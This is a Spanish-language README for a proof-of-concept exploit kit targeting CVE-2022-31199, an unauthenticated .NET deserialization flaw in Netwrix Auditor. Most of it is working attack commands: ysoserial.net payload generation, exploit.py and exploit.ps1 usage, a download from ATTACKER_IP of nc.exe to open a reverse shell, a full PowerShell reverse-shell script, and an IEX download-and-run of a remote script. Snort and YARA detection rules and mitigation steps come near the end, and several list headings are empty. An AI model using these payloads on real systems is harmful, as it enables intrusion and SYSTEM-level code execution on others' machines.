
Exploits de prueba de concepto para CVE-2022-31199, una vulnerabilidad crítica de deserialización .NET que permite ejecución remota de código en Netwrix Auditor. Incluye scripts en Python y PowerShell, generación de payloads con ysoserial.net y firmas de detección para pruebas de seguridad autorizadas.
CVE-2022-31199 es una vulnerabilidad crítica de deserialización insegura de objetos en Netwrix Auditor versiones anteriores a la 10.5. La vulnerabilidad existe en un servicio .NET Remoting no seguro que escucha en el puerto TCP 9004, permitiendo a atacantes remotos no autenticados lograr la ejecución arbitraria de código con privilegios NT AUTHORITY\SYSTEM.
Esta vulnerabilidad ha sido explotada activamente en la naturaleza por:
La explotación exitosa típicamente conduce a:
Este repositorio contiene Pruebas de Concepto (POCs) completas para CVE-2022-31199:
exploit.py - Marco de explotación basado en Pythonexploit.ps1 - Script de explotación en PowerShellREADME.md - Esta documentaciónmanual-exploitation.md - Guía de explotación manual paso a pasoysoserial.net - Generador de payloads de deserialización .NET
ExploitRemotingService - Herramienta de explotación de .NET Remoting
python3 exploit.py --target 192.168.1.100 --check
.\exploit.ps1 -Target 192.168.1.100 -CheckOnly
# Usando ysoserial.net
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "whoami"
python3 exploit.py --target 192.168.1.100 --payload [BASE64_PAYLOAD]
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"
exploit.py)python3 exploit.py --target 10.10.10.100 --check
# Paso 1: Generar payload
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c whoami > C:\temp\output.txt"
# Paso 2: Ejecutar exploit
python3 exploit.py --target 10.10.10.100 --payload AAEAAAD....[base64_payload]
# Puerto personalizado
python3 exploit.py --target 10.10.10.100 --port 9004 --check
# Endpoint personalizado
python3 exploit.py --target 10.10.10.100 --endpoint UAVRServer --check
--target : Dirección IP o nombre de host del objetivo (requerido)
--port : Puerto del objetivo (por defecto: 9004)
--endpoint : Nombre del endpoint de .NET Remoting (por defecto: UAVRServer)
--check : Solo comprobar vulnerabilidad, no explotar
--payload : Payload codificado en Base64 desde ysoserial.net
exploit.ps1).\exploit.ps1 -Target 192.168.1.100 -CheckOnly
# Ejecución simple de comando
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"
# Escribir salida a archivo
.\exploit.ps1 -Target 192.168.1.100 -Command "cmd /c whoami > C:\temp\out.txt"
# Puerto personalizado
.\exploit.ps1 -Target 192.168.1.100 -Port 9004 -Command "hostname"
-Target : Dirección IP o nombre de host del objetivo (requerido)
-Port : Puerto del objetivo (por defecto: 9004)
-Command : Comando a ejecutar en el objetivo (por defecto: "whoami")
-CheckOnly : Solo comprobar vulnerabilidad, no explotar
# Verificar información del sistema
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c systeminfo > C:\temp\sysinfo.txt"
nc -lvnp 4444
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c curl http://ATTACKER_IP/nc.exe -o C:\temp\nc.exe; C:\temp\nc.exe ATTACKER_IP 4444 -e cmd.exe"
$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
python3 -m http.server 8000
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/rev.ps1')"
# Probar conectividad
ExploitRemotingService.exe tcp://192.168.1.100:9004/UAVRServer ver
# Ejecutar con modo lease (bypasea algunas protecciones)
ExploitRemotingService.exe -uselease tcp://192.168.1.100:9004/UAVRServer ls C:\
# Ejecutar con referencia de objeto
ExploitRemotingService.exe -useobjref tcp://192.168.1.100:9004/UAVRServer exec "whoami"
La vulnerabilidad se origina de:
1. Atacante se conecta al puerto TCP 9004
2. Identifica el servicio .NET Remoting (endpoint UAVRServer)
3. Genera payload malicioso serializado usando ysoserial.net
4. Envía el payload a través del protocolo .NET Remoting
5. El objetivo deserializa el objeto usando BinaryFormatter
6. La cadena de gadgets ejecuta código arbitrario
7. El código se ejecuta con privilegios NT AUTHORITY\SYSTEM
Los siguientes gadgets de ysoserial.net funcionan contra esta vulnerabilidad:
Estructura del Protocolo .NET Remoting:
┌─────────────────────────────────────┐
│ Preámbulo (8 bytes) │
│ 0x00 0x01 0x00 0x00 0x01 0x00 0x00 │
├─────────────────────────────────────┤
│ Cabeceras │
├─────────────────────────────────────┤
│ URI (UAVRServer) │
├─────────────────────────────────────┤
│ Objeto Serializado (BinaryFormatter) │
└─────────────────────────────────────┘
alert tcp any any -> any 9004 (
msg:"CVE-2022-31199 Intento de Exploit .NET Remoting de Netwrix";
content:"|00 01 00 00 01 00 00 00|";
depth:8;
content:"System.Runtime.Remoting";
distance:0;
sid:1000001;
rev:1;
)
# Verificar si el puerto 9004 está escuchando
netstat -ano | findstr :9004
# Identificar proceso
tasklist /FI "PID eq [PID]"
rule CVE_2022_31199_Netwrix_Exploit {
meta:
description = "Detecta intento de explotación de CVE-2022-31199"
author = "Investigador de Seguridad"
date = "2024-11-17"
severity = "critical"
strings:
$header = { 00 01 00 00 01 00 00 00 }
$remoting1 = "System.Runtime.Remoting" ascii
$remoting2 = "UAVRServer" ascii
$remoting3 = "Netwrix" ascii
$serialize = "BinaryFormatter" ascii
$gadget1 = "TypeConfuseDelegate" ascii
$gadget2 = "ObjectDataProvider" ascii
condition:
$header at 0 and
($remoting1 or $remoting2 or $remoting3) and
$serialize and
any of ($gadget*)
}
Actualizar a Netwrix Auditor 10.5 o posterior
Segmentación de Red
Monitoreo
# Verificar versión de Netwrix Auditor
Get-ItemProperty "HKLM:\Software\Netwrix\Auditor" | Select Version
# Verificar si el puerto está expuesto
Test-NetConnection -ComputerName localhost -Port 9004
# Verificar reglas de firewall
Get-NetFirewallRule | Where-Object {$_.DisplayName -like "*Netwrix*"}
IMPORTANTE: Estos exploits de Prueba de Concepto (POC) se proporcionan para:
- Fines educativos
- Pruebas de seguridad autorizadas
- Investigación de vulnerabilidades
- Operaciones defensivas de seguridad
EL ACCESO NO AUTORIZADO A SISTEMAS INFORMÁTICOS ES ILEGAL.
Al usar estas herramientas, aceptas:
1. Probar solo sistemas que poseas o para los que tengas permiso explícito por escrito
2. Cumplir con todas las leyes locales, estatales y federales aplicables
3. Usar las herramientas de manera responsable y ética
4. No usarlas con fines maliciosos
El/los autor(es) no asumen ninguna responsabilidad por el mal uso de estas herramientas.
Úselas bajo su propio riesgo.
¿Encontraste un problema o mejora? Siéntete libre de:
Versión: 1.0
Última actualización: 17 de noviembre de 2024
Mantenido por: Comunidad de Investigación en Seguridad
Para preguntas o problemas, consulte los avisos y documentación oficiales.